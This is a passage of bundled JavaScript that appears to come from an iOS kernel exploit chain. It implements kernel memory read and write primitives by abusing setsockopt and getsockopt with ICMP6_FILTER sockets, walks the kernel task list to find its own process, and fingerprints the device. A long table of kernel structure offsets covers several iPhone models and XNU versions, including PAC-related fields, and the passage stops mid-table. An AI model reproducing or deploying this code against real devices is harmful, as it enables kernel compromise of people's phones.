kernelTaskVal = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(kernelTaskAddr);\n\t\t//console.log(TAG,`kernelTaskval:${Utils.hex(kernelTaskVal)}`);\n\t\tlet ourPid = Native.callSymbol(\"getpid\");\n\t\tconsole.log(TAG, `Our pid: ${ourPid}`);\n\t\n\t\tlet nextTask = 0n;\n\t\tif (direction)\n\t\t\tnextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(kernelTaskVal + this.#offsets.nextTask);\n\t\telse\n\t\t\tnextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(kernelTaskVal + this.#offsets.prevTask);\n\t\t//console.log(TAG, `nextTask: ${Utils.hex(nextTask)}`);\n\n\t\twhile (nextTask != 0 && nextTask != kernelTaskVal) {\n\t\t\tlet procROAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(nextTask + this.#offsets.procRO);\n\t\t\t//console.log(TAG,`procROAddr:${Utils.hex(procROAddr)}`);\n\t\t\tlet procVal = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(procROAddr);\n\t\t\t//console.log(TAG,`procVal: ${Utils.hex(procVal)}`);\n\t\t\tif (procVal && this.strip(procVal) > 0xffffffd000000000n) {\n\t\t\t\tlet pid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(procVal + this.#offsets.pid);\n\t\t\t\t//console.log(TAG, `pid:${pid}`);\n\t\t\t\tif (pid == ourPid) {\n\t\t\t\t\tconsole.log(TAG, `Found our pid`);\n\t\t\t\t\treturn nextTask;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (direction)\n\t\t\t\t\tnextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(nextTask + this.#offsets.nextTask);\n\t\t\t\telse \n\t\t\t\t\tnextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(nextTask + this.#offsets.prevTask);\n\t\t\t}\n\t\t\telse\n\t\t\t\tbreak;\n\t\t}\n\t\treturn false;\n\t}\n\n\t#kreadLength(address, buffer, size) {\n\t\t//console.log(TAG, `kread(${address.toString(16)}, ${size})`);\n\n\t\tlet remaining = BigInt(size);\n\t\tlet read_offset = 0n;\n\t\tlet read_size = 0n;\n\t\n\t\twhile (remaining != 0n) {\n\t\t\tif (remaining >= EARLY_KRW_LENGTH) {\n\t\t\t\tread_size = EARLY_KRW_LENGTH;\n\t\t\t} else {\n\t\t\t\tread_size = remaining % EARLY_KRW_LENGTH;\n\t\t\t}\n\t\t\tif (!this.#kread32Bytes(address + read_offset, buffer + read_offset, read_size))\n\t\t\t\treturn false;\n\t\t\tremaining -= read_size;\n\t\t\tread_offset += read_size;\n\t\t}\n\t\treturn true;\n\t}\n\n\t#kwriteLength(address, buffer, size) {\n\t\t//console.log(TAG, `kwrite(${address.toString(16)}, ${size})`);\n\n\t\tlet remaining = BigInt(size);\n\t\tlet write_offset = 0n;\n\t\tlet write_size = 0n;\n\t\n\t\twhile (remaining != 0n) {\n\t\t\tif (remaining >= EARLY_KRW_LENGTH) {\n\t\t\t\twrite_size = EARLY_KRW_LENGTH;\n\t\t\t} else {\n\t\t\t\twrite_size = remaining % EARLY_KRW_LENGTH;\n\t\t\t}\n\t\n\t\t\tlet kwrite_dst_addr = address + write_offset;\n\t\t\tlet kwrite_src_addr = buffer + write_offset;\n\t\n\t\t\tif (write_size != EARLY_KRW_LENGTH) {\n\t\t\t\tif (!this.#kread32Bytes(kwrite_dst_addr, this.#tmpWriteMem, EARLY_KRW_LENGTH))\n\t\t\t\t\treturn false;\n\t\t\t\tNative.callSymbol(\"memcpy\", this.#tmpWriteMem, kwrite_src_addr, write_size);\n\t\t\t\tkwrite_src_addr = this.#tmpWriteMem;\n\t\t\t}\n\t\n\t\t\tif (!this.#kwrite32Bytes(kwrite_dst_addr, kwrite_src_addr))\n\t\t\t\treturn false;\n\t\t\tremaining -= write_size;\n\t\t\twrite_offset += write_size;\n\t\t}\n\t\treturn true;\n\t}\n\n\t#kread32Bytes(kaddr, buffer, len) {\n\t\tconst tmpBuff = Native.mem + 0x1000n;\n\n\t\t// Set \"kaddr\" address\n\t\tlet buff = new BigUint64Array(4);\n\t\tbuff[0] = kaddr;\n\t\tNative.write(tmpBuff, buff.buffer);\n\t\tlet ret = Native.callSymbol(\"setsockopt\", this.#controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, tmpBuff, EARLY_KRW_LENGTH);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"setsockopt: \" + ret);\n\t\t\treturn false;\n\t\t}\n\n\t\tbuff[0] = BigInt(len);\n\t\tNative.write(tmpBuff, buff.buffer);\n\t\tret = Native.callSymbol(\"getsockopt\", this.#rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, buffer, tmpBuff);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"getsockopt failed reading \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(kaddr));\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\t#kwrite32Bytes(kaddr, buffer) {\n\t\tconst tmpBuff = Native.mem + 0x1000n;\n\n\t\t// Set \"kaddr\" address\n\t\tlet buff = new BigUint64Array(4);\n\t\tbuff[0] = kaddr;\n\t\tNative.write(tmpBuff, buff.buffer);\n\t\tlet ret = Native.callSymbol(\"setsockopt\", this.#controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, tmpBuff, EARLY_KRW_LENGTH);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"setsockopt: \" + ret);\n\t\t\treturn false;\n\t\t}\n\n\t\tret = Native.callSymbol(\"setsockopt\", this.#rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, buffer, EARLY_KRW_LENGTH);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"setsockopt failed writing \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(kaddr));\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/Driver/Offsets.js\":\n/*!************************************!*\\\n !*** ./src/libs/Driver/Offsets.js ***!\n \\************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Offsets)\n/* harmony export */ });\n/* harmony import */ var libs_Chain_OffsetsStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/OffsetsStruct */ \"./src/libs/Chain/OffsetsStruct.js\");\n/* harmony import */ var _OffsetsTable__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./OffsetsTable */ \"./src/libs/Driver/OffsetsTable.js\");\n\n\n\nconst TAG = \"OFFSETS\"\n\nclass Offsets\n{\n\tstatic getByDeviceAndVersion()\n\t{\n\t\tNative.callSymbol(\"uname\", Native.mem);\n\t\tconst sysname = Native.readString(Native.mem, 0x100);\n\t\tconst nodename = Native.readString(Native.mem + 0x100n, 0x100);\n\t\tconst release = Native.readString(Native.mem + 0x200n, 0x100);\n\t\tconst version = Native.readString(Native.mem + 0x300n, 0x100);\n\t\tconst machine = Native.readString(Native.mem + 0x400n, 0x100);\n\t\tconsole.log(TAG, `release: ${release} with machine: ${machine}`);\n\n\t\tconst buildVer = this.getBuildVersion();\n\t\tconsole.log(TAG, \"Build version: \" + buildVer);\n\n\t\tlet splittedVersion = release.split(\".\");\n\t\tlet xnuMajor = splittedVersion[0];\n\t\tlet xnuMinor = splittedVersion[1];\n\n\t\tlet splittedMachine = machine.split(\",\");\n\t\tlet deviceFamily = splittedMachine[0];\n\t\tlet deviceModel = splittedMachine[1];\n\n\t\tconsole.log(TAG, \"deviceFamily: \" + deviceFamily);\n\n\t\t// Ugly hack to support 17.7, 17.7.1 and 17.7.2\n\t\tif (buildVer) {\n\t\t\tif (buildVer == \"21H16\")\n\t\t\t\txnuMinor = 6.1;\n\t\t\telse if (buildVer == \"21H216\")\n\t\t\t\txnuMinor = 6.2;\n\t\t\telse if (buildVer == \"21H221\")\n\t\t\t\txnuMinor = 6.3;\n\t\t}\n\t\t// Get offsets per device family\n\t\tlet deviceOffsets = _OffsetsTable__WEBPACK_IMPORTED_MODULE_1__.offsets[deviceFamily];\n\t\tif (!deviceOffsets) {\n\t\t\tconsole.log(TAG, `Unsupported machine: ${machine}`);\n\t\t\treturn null;\n\t\t}\n\n\t\tlet familyOffsets = deviceOffsets[\"*\"];\n\t\tlet foundFamilyOffsets = this.#getOffsetsByVersion(familyOffsets, xnuMajor, xnuMinor);\n\n\t\tif (!foundFamilyOffsets)\n\t\t\treturn null;\n\n\t\t// Adjustments per device model\n\t\tlet modelOffsets = deviceOffsets[deviceModel];\n\t\tlet foundModelOffsets = null;\n\t\tif (modelOffsets)\n\t\t\tfoundModelOffsets = this.#getOffsetsByVersion(modelOffsets, xnuMajor, xnuMinor);\n\n\t\t// Merge family offsets and device offsets\n\t\tlet foundOffsets = new libs_Chain_OffsetsStruct__WEBPACK_IMPORTED_MODULE_0__[\"default\"]();\n\t\tObject.assign(foundOffsets, foundFamilyOffsets);\n\t\tif (foundModelOffsets)\n\t\t\tObject.assign(foundOffsets, foundModelOffsets);\n\n\t\tif ([\"iPhone15\", \"iPhone16\", \"iPhone17\"].includes(deviceFamily))\n\t\t\tfoundOffsets.T1SZ_BOOT = 17n;\n\t\telse\n\t\t\tfoundOffsets.T1SZ_BOOT = 25n;\n\n\t\tconsole.log(TAG, \"Offsets: \" + JSON.stringify(foundOffsets, (_,v) => typeof v === 'bigint' ? \"0x\"+v.toString(16) : v, 2));\n\n\t\treturn foundOffsets;\n\t}\n\n\tstatic #getOffsetsByVersion(offsets, xnuMajor, xnuMinor) {\n\t\tlet xnuMajorOffsets = 0;\n\t\tfor (let major in offsets) {\n\t\t\tif (xnuMajor < major)\n\t\t\t\tcontinue;\n\t\t\tif (xnuMajorOffsets < major)\n\t\t\t\txnuMajorOffsets = major;\n\t\t}\n\n\t\tif (!xnuMajorOffsets) {\n\t\t\tconsole.log(TAG, \"Unsupported XNU major: \" + xnuMajor);\n\t\t\treturn null;\n\t\t}\n\n\t\t//console.log(TAG, \"Matching XNU major: \" + xnuMajorOffsets);\n\t\txnuMajorOffsets = offsets[xnuMajorOffsets];\n\n\t\tlet foundOffsets = {};\n\t\tlet xnuMinorOffsets = -1;\n\t\tconst sortedMinors = Object.keys(xnuMajorOffsets).sort();\n\t\tfor (let minor of sortedMinors) {\n\t\t\t//console.log(TAG, `minor: ${minor}, xnuMinor: ${xnuMinor}`);\n\t\t\tif (minor > xnuMinor)\n\t\t\t\tbreak;\n\t\t\tif (xnuMinorOffsets < minor) {\n\t\t\t\txnuMinorOffsets = minor;\n\t\t\t\tObject.assign(foundOffsets, xnuMajorOffsets[minor]);\n\t\t\t}\n\t\t}\n\n\t\t//console.log(TAG, \"Matching XNU minor: \" + xnuMinorOffsets);\n\n\t\treturn foundOffsets;\n\t}\n\tstatic getBuildVersion() {\n\t\tconst CTL_KERN = 1;\n\t\tconst KERN_OSVERSION = 65;\n\n\t\tconst mib = new ArrayBuffer(4 * 2);\n\t\tconst mibView = new DataView(mib);\n\t\tmibView.setInt32(0, CTL_KERN, true);\n\t\tmibView.setInt32(4, KERN_OSVERSION, true);\n\n\t\tconst mibAddr = Native.mem;\n\t\tconst resultAddr = Native.mem + 0x100n;\n\t\tconst lengthAddr = Native.mem + 0x200n;\n\n\t\tNative.write(Native.mem, mib);\n\n\t\tlet ret = Native.callSymbol(\"sysctl\", mibAddr, 2, resultAddr, lengthAddr, null, 0);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"Unable to get iOS build version\");\n\t\t\treturn null;\n\t\t}\n\n\t\tconst length = Native.read32(lengthAddr);\n\t\tconst buildVer = Native.readString(resultAddr, length);\n\t\treturn buildVer;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/Driver/OffsetsTable.js\":\n/*!*****************************************!*\\\n !*** ./src/libs/Driver/OffsetsTable.js ***!\n \\*****************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ offsets: () => (/* binding */ offsets)\n/* harmony export */ });\nconst offsets = {\n\t// iPhone XS\n\t// iPhone XS Max\n\t// iPhone XS Max Global\n\t// iPhone XR\n\t\"iPhone11\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5bcn,\n\t\t\t\t\tkstackptr: 0xe8n,\n\t\t\t\t\tropPid: 0x150n,\n\t\t\t\t\tjopPid: 0x158n,\n\t\t\t\t\tguardExcCode: 0x308n,\n\t\t\t\t\ttaskThreads: 0x348n,\n\t\t\t\t\ttro: 0x358n,\n\t\t\t\t\tast: 0x37cn,\n\t\t\t\t\tmutexData: 0x380n,\n\t\t\t\t\tctid: 0x408n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x918210n,\n\t\t\t\t\tguardExcCode: 0x318n,\n\t\t\t\t\ttaskThreads: 0x358n,\n\t\t\t\t\ttro: 0x368n,\n\t\t\t\t\tast: 0x38cn,\n\t\t\t\t\tmutexData: 0x398n,\n\t\t\t\t\tctid: 0x418n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x91c638n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x320n,\n\t\t\t\t\ttaskThreads: 0x360n,\n\t\t\t\t\ttro: 0x370n,\n\t\t\t\t\tast: 0x394n,\n\t\t\t\t\tmutexData: 0x3a0n,\n\t\t\t\t\tctid: 0x420n,\n\t\t\t\t\tprocRO: 0x388n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x920a90n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9209f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x920a40n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9f1548n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3a0n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5dcn,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x158n,\n\t\t\t\t\tjopPid: 0x160n,\n\t\t\t\t\tguardExcCode: 0x320n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x378n,\n\t\t\t\t\tast: 0x39cn,\n\t\t\t\t\tmutexData: 0x3a8n,\n\t\t\t\t\tctid: 0x428n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f1560n,\n\t\t\t\t\ttaskThreads: 0x368n,\n\t\t\t\t\ttro: 0x370n,\n\t\t\t\t\tast: 0x394n,\n\t\t\t\t\tmutexData: 0x3a0n,\n\t\t\t\t\tctid: 0x420n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9fd988n,\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9f5988n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa62b50n,\n\t\t\t\t\tprocRO: 0x3c0n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x378n,\n\t\t\t\t\tast: 0x39cn,\n\t\t\t\t\tmutexData: 0x3a8n,\n\t\t\t\t\tctid: 0x428n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6ac38n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa6ad48n,\n \t\t\t\t\tguardExcCode: 0x328n,\n\t\t\t\t\ttaskThreads: 0x378n,\n \t\t\t\t\ttro: 0x380n,\n \t\t\t\t\tast: 0x3a4n,\n \t\t\t\t\tmutexData: 0x3b0n,\n \t\t\t\t\tctid: 0x430n,\n \t\t\t\t\tmigLock: 0x36971f0n,\n \t\t\t\t\tmigSbxMsg: 0x3697210n,\n \t\t\t\t\tmigKernelStackLR: 0x2f7c1a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"8\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x8fc638n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x900a90n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9009f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x900a40n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9d1548n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9d1560n,\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9d9988n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9d1988n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa42b50n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xad6b78n,\n\t\t\t\t\tmigLock: 0x38d74e8n,\n\t\t\t\t\tmigSbxMsg: 0x38d7508n,\n\t\t\t\t\tmigKernelStackLR: 0x31b19e4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa4ad48n,\n\t\t\t\t\tmigLock: 0x352e1f0n,\n\t\t\t\t\tmigSbxMsg: 0x352e210n,\n\t\t\t\t\tmigKernelStackLR: 0x2e5ba20n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 11\n\t// iPhone 11 Pro\n\t// iPhone 11 Pro Max\n\t// iPhone SE 2\n\t\"iPhone12\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5bcn,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x158n,\n\t\t\t\t\tjopPid: 0x160n,\n\t\t\t\t\tguardExcCode: 0x328n,\n\t\t\t\t\ttaskThreads: 0x368n,\n\t\t\t\t\ttro: 0x378n,\n\t\t\t\t\tast: 0x39cn,\n\t\t\t\t\tmutexData: 0x3a8n,\n\t\t\t\t\tctid: 0x428n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x96c178n,\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x970588n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n,\n\t\t\t\t\tprocRO: 0x388n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x9749d8n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x974938n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x974988n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa49488n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3a0n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5dcn,\n\t\t\t\t\tkstackptr: 0xf8n,\n\t\t\t\t\tropPid: 0x160n,\n\t\t\t\t\tjopPid: 0x168n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa494a0n,\n\t\t\t\t\ttaskThreads: 0x378n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa518c8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa498c8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xacea90n,\n\t\t\t\t\tprocRO: 0x3c0n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xad6b78n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xad6c88n,\n \t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x388n,\n \t\t\t\t\ttro: 0x390n,\n \t\t\t\t\tast: 0x3b4n,\n \t\t\t\t\tmutexData: 0x3c0n,\n \t\t\t\t\tctid: 0x440n,\n\t\t\t\t\tmigLock: 0x38e34e8n,\n\t\t\t\t\tmigSbxMsg: 0x38e3508n,\n\t\t\t\t\tmigKernelStackLR: 0x31ba7a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"3\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x974588n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x9789d8n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x974938n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x974988n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa49488n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa4d4a0n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa558c8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa4d8c8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xacea90n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xad6b78n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xad6c88n,\n\t\t\t\t\tmigLock: 0x38e7468n,\n\t\t\t\t\tmigSbxMsg: 0x38e7488n,\n\t\t\t\t\tmigKernelStackLR: 0x31bf5a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"5\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x974588n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x9789d8n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x974938n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x974988n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa49488n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa4d4a0n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa558c8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa4d8c8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xacea90n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xad6b78n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xad6c88n,\n\t\t\t\t\tmigLock: 0x38e7468n,\n\t\t\t\t\tmigSbxMsg: 0x38e7488n,\n\t\t\t\t\tmigKernelStackLR: 0x31bf5a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"8\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x960588n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x9649d8n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x964938n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x964988n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa35488n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa354a0n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa3d8c8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa358c8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xab6a90n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xabeb78n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xac2c88n,\n\t\t\t\t\tmigLock: 0x387a8e8n,\n\t\t\t\t\tmigSbxMsg: 0x387a908n,\n\t\t\t\t\tmigKernelStackLR: 0x3156f20n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 12\n\t// iPhone 12 Mini\n\t// iPhone 12 Pro\n\t// iPhone 12 Pro Max\n\t\"iPhone13\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5bcn,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x158n,\n\t\t\t\t\tjopPid: 0x160n,\n\t\t\t\t\tguardExcCode: 0x318n,\n\t\t\t\t\ttaskThreads: 0x358n,\n\t\t\t\t\ttro: 0x368n,\n\t\t\t\t\tast: 0x38cn,\n\t\t\t\t\tmutexData: 0x390n,\n\t\t\t\t\tctid: 0x418n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x94c2d0n,\n\t\t\t\t\tguardExcCode: 0x328n,\n\t\t\t\t\ttaskThreads: 0x368n,\n\t\t\t\t\ttro: 0x378n,\n\t\t\t\t\tast: 0x39cn,\n\t\t\t\t\tmutexData: 0x3a8n,\n\t\t\t\t\tctid: 0x428n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x9546e0n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n,\n\t\t\t\t\tprocRO: 0x388n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x954b30n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x954a90n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x954ae0n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa295e0n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3a0n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5dcn,\n\t\t\t\t\tkstackptr: 0xf8n,\n\t\t\t\t\tropPid: 0x160n,\n\t\t\t\t\tjopPid: 0x168n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa2d5f8n,\n\t\t\t\t\ttaskThreads: 